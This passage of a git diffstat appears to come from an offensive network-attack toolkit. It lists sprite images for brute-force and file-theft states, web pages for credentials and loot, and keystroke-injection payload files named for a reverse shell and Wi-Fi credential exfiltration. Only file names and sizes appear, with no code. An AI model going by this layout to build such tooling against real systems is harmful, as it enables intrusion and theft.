.../status/SMBBruteforce/SMBBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SMBBruteforce/SMBBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce10.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce11.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce12.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce13.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce2.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce3.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce4.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce5.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce6.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce7.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce8.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce9.bmp | Bin 0 -> 18462 bytes .../status/SQLBruteforce/SQLBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SQLBruteforce/SQLBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SSHBruteforce/SSHBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce10.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce11.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce12.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce13.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce2.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce3.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce4.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce5.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce6.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce7.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce8.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce9.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL1.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL10.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL2.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL3.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL4.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL5.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL6.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL7.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL8.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL9.bmp | Bin 0 -> 18462 bytes .../status/StealFilesFTP/StealFilesFTP.bmp | Bin 0 -> 2406 bytes .../status/StealFilesFTP/StealFilesFTP1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSMB/StealFilesSMB.bmp | Bin 0 -> 2406 bytes .../status/StealFilesSMB/StealFilesSMB1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH.bmp | Bin 0 -> 2406 bytes .../status/StealFilesSSH/StealFilesSSH1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH10.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH11.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH12.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH13.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH2.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH3.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH4.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH5.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH6.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH7.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH8.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH9.bmp | Bin 0 -> 18462 bytes .../StealFilesTelnet/StealFilesTelnet.bmp | Bin 0 -> 2406 bytes .../StealFilesTelnet/StealFilesTelnet1.bmp | Bin 0 -> 18462 bytes .../TelnetBruteforce/TelnetBruteforce.bmp | Bin 0 -> 2406 bytes .../TelnetBruteforce/TelnetBruteforce1.bmp | Bin 0 -> 18462 bytes sentinel.py | 593 + shared.py | 160 +- utils.py | 3 + web/css/pages.css | 10665 +--------------- web/css/pages/actions-studio.css | 153 + web/css/pages/attacks.css | 993 ++ web/css/pages/backup.css | 274 + web/css/pages/bifrost.css | 518 + web/css/pages/bjorn.css | 33 + web/css/pages/compat.css | 1814 +++ web/css/pages/credentials.css | 370 + web/css/pages/dashboard.css | 660 + web/css/pages/database.css | 369 + web/css/pages/files.css | 3244 +++++ web/css/pages/loki.css | 403 + web/css/pages/loot.css | 633 + web/css/pages/netkb.css | 538 + web/css/pages/network.css | 605 + web/css/pages/scheduler.css | 794 ++ web/css/pages/sentinel.css | 366 + web/css/pages/shared.css | 217 + web/css/pages/vulnerabilities.css | 698 + web/css/pages/zombieland.css | 493 + web/css/shell.css | 80 +- web/css/zombieland.css | 493 + web/i18n/de.json | 154 +- web/i18n/en.json | 432 +- web/i18n/es.json | 154 +- web/i18n/fr.json | 156 +- web/i18n/it.json | 154 +- web/i18n/ru.json | 154 +- web/i18n/zh.json | 154 +- web/js/app.js | 14 +- web/js/core/console-sse.js | 9 +- web/js/core/epd-editor.js | 1157 ++ web/js/core/settings-config.js | 143 +- web/js/core/theme.js | 142 +- web/js/pages/actions-studio-runtime.js | 36 +- web/js/pages/actions-studio.js | 244 +- web/js/pages/actions.js | 87 +- web/js/pages/attacks.js | 20 +- web/js/pages/bifrost.js | 528 + web/js/pages/bjorn-debug.js | 6 +- web/js/pages/bjorn.js | 2 + web/js/pages/credentials.js | 46 +- web/js/pages/dashboard.js | 504 +- web/js/pages/database.js | 75 +- web/js/pages/files.js | 6 +- web/js/pages/loki.js | 536 + web/js/pages/loot.js | 128 +- web/js/pages/netkb.js | 157 +- web/js/pages/network.js | 152 +- web/js/pages/rl-dashboard.js | 923 +- web/js/pages/scheduler.js | 244 +- web/js/pages/sentinel.js | 752 ++ web/js/pages/vulnerabilities.js | 164 +- web/js/pages/web-enum.js | 91 +- web/js/pages/zombieland.js | 70 +- web/screen.png | Bin 2125 -> 2268 bytes web_utils/bifrost_utils.py | 185 + web_utils/bluetooth_utils.py | 182 +- web_utils/file_utils.py | 58 +- web_utils/loki_utils.py | 245 + web_utils/netkb_utils.py | 13 +- web_utils/orchestrator_utils.py | 60 +- web_utils/rl_utils.py | 6 +- web_utils/sentinel_utils.py | 266 + web_utils/system_utils.py | 245 +- webapp.py | 99 +- 525 files changed, 29400 insertions(+), 13136 deletions(-) create mode 100644 ROADMAP.md create mode 100644 bifrost/__init__.py create mode 100644 bifrost/agent.py create mode 100644 bifrost/automata.py create mode 100644 bifrost/bettercap.py create mode 100644 bifrost/compat.py create mode 100644 bifrost/epoch.py create mode 100644 bifrost/faces.py create mode 100644 bifrost/plugins.py create mode 100644 bifrost/voice.py create mode 100644 db_utils/bifrost.py create mode 100644 db_utils/loki.py create mode 100644 db_utils/sentinel.py create mode 100644 debug_schema.py create mode 100644 display_layout.py create mode 100644 loki/__init__.py create mode 100644 loki/hid_controller.py create mode 100644 loki/hidscript.py create mode 100644 loki/jobs.py create mode 100644 loki/layouts/__init__.py create mode 100644 loki/layouts/us.json create mode 100644 loki/payloads/hello_world.js create mode 100644 loki/payloads/reverse_shell_linux.js create mode 100644 loki/payloads/rickroll.js create mode 100644 loki/payloads/wifi_exfil_win.js create mode 100644 resources/default_config/characters/ALVA/static/0.bmp create mode 100644 resources/default_config/characters/ALVA/static/100.bmp create mode 100644 resources/default_config/characters/ALVA/static/25.bmp create mode 100644 resources/default_config/characters/ALVA/static/50.bmp create mode 100644 resources/default_config/characters/ALVA/static/75.bmp create mode 100644 resources/default_config/characters/ALVA/static/AI.bmp create mode 100644 resources/default_config/characters/ALVA/static/attack.bmp create mode 100644 resources/default_config/characters/ALVA/static/attacks.bmp create mode 100644 resources/default_config/characters/ALVA/static/auto.bmp create mode 100644 resources/default_config/characters/ALVA/static/bjorn1.bmp create mode 100644 resources/default_config/characters/ALVA/static/bluetooth.bmp create mode 100644 resources/default_config/characters/ALVA/static/charging.bmp create mode 100644 resources/default_config/characters/ALVA/static/charging1.bmp create mode 100644 resources/default_config/characters/ALVA/static/connected.bmp create mode 100644 resources/default_config/characters/ALVA/static/cred.bmp create mode 100644 resources/default_config/characters/ALVA/static/data.bmp create mode 100644 resources/default_config/characters/ALVA/static/ethernet.bmp create mode 100644 resources/default_config/characters/ALVA/static/frise.bmp create mode 100644 resources/default_config/characters/ALVA/static/gold.bmp create mode 100644 resources/default_config/characters/ALVA/static/level.bmp create mode 100644 resources/default_config/characters/ALVA/static/manual.bmp create mode 100644 resources/default_config/characters/ALVA/static/money.bmp create mode 100644 resources/default_config/characters/ALVA/static/networkkb.bmp create mode 100644 resources/default_config/characters/ALVA/static/port.bmp create mode 100644 resources/default_config/characters/ALVA/static/target.bmp create mode 100644 resources/default_config/characters/ALVA/static/usb.bmp create mode 100644 resources/default_config/characters/ALVA/static/vuln.bmp create mode 100644 resources/default_config/characters/ALVA/static/wifi.bmp create mode 100644 resources/default_config/characters/ALVA/static/zombie.bmp create mode 100644 resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp create mode 100644 resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce.bmp create mode 100644 resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp create mode 100644 resources/default_config/characters/ALVA/status/IDLE/IDLE.bmp create mode 100644 resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp create mode 100644 resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp create mode 100644 resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp create mode 100644 resources/default_config/characters/ALVA/status/IDLE/IDLE4.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner1.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner6.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp create mode 100644 resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner8.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner6.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp create mode 100644 resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner8.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce10.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce4.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce8.bmp create mode 100644 resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce9.bmp create mode 100644 resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp create mode 100644 resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce1.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce1.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce10.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce12.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce13.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce2.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce7.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce8.bmp create mode 100644 resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL10.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL4.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP1.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB1.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH1.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH10.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH12.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH4.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH5.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp create mode 100644 resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet1.bmp create mode 100644 resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce.bmp create mode 100644 resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce1.bmp create mode 100644 resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone.bmp create mode 100644 resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone1.bmp create mode 100644 resources/default_config/characters/BJORN/static/0.bmp create mode 100644 resources/default_config/characters/BJORN/static/100.bmp create mode 100644 resources/default_config/characters/BJORN/static/25.bmp create mode 100644 resources/default_config/characters/BJORN/static/50.bmp create mode 100644 resources/default_config/characters/BJORN/static/75.bmp create mode 100644 resources/default_config/characters/BJORN/static/AI.bmp create mode 100644 resources/default_config/characters/BJORN/static/attack.bmp create mode 100644 resources/default_config/characters/BJORN/static/attacks.bmp create mode 100644 resources/default_config/characters/BJORN/static/auto.bmp create mode 100644 resources/default_config/characters/BJORN/static/bjorn1.bmp create mode 100644 resources/default_config/characters/BJORN/static/bluetooth.bmp create mode 100644 resources/default_config/characters/BJORN/static/charging.bmp create mode 100644 resources/default_config/characters/BJORN/static/charging1.bmp create mode 100644 resources/default_config/characters/BJORN/static/connected.bmp create mode 100644 resources/default_config/characters/BJORN/static/cred.bmp create mode 100644 resources/default_config/characters/BJORN/static/data.bmp create mode 100644 resources/default_config/characters/BJORN/static/ethernet.bmp create mode 100644 resources/default_config/characters/BJORN/static/frise.bmp create mode 100644 resources/default_config/characters/BJORN/static/gold.bmp create mode 100644 resources/default_config/characters/BJORN/static/level.bmp create mode 100644 resources/default_config/characters/BJORN/static/manual.bmp create mode 100644 resources/default_config/characters/BJORN/static/money.bmp create mode 100644 resources/default_config/characters/BJORN/static/networkkb.bmp create mode 100644 resources/default_config/characters/BJORN/static/port.bmp create mode 100644 resources/default_config/characters/BJORN/static/target.bmp create mode 100644 resources/default_config/characters/BJORN/static/usb.bmp create mode 100644 resources/default_config/characters/BJORN/static/vuln.bmp create mode 100644 resources/default_config/characters/BJORN/static/wifi.bmp create mode 100644 resources/default_config/characters/BJORN/static/zombie.bmp create mode 100644 resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp create mode 100644 resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce.bmp create mode 100644 resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE11.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE14.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE16.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE17.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE22.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE25.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE28.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE31.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE32.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE8.bmp create mode 100644 resources/default_config/characters/BJORN/status/IDLE/IDLE9.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner1.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner6.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp create mode 100644 resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner8.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner6.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp create mode 100644 resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner8.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce10.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce4.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce7.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce8.bmp create mode 100644 resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce9.bmp create mode 100644 resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp create mode 100644 resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce1.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce10.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce11.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce12.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce13.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce8.bmp create mode 100644 resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL10.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL4.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP1.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB1.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH1.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH10.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH12.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH4.bmp create mode 100644 resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH5.bmp create mode 100644 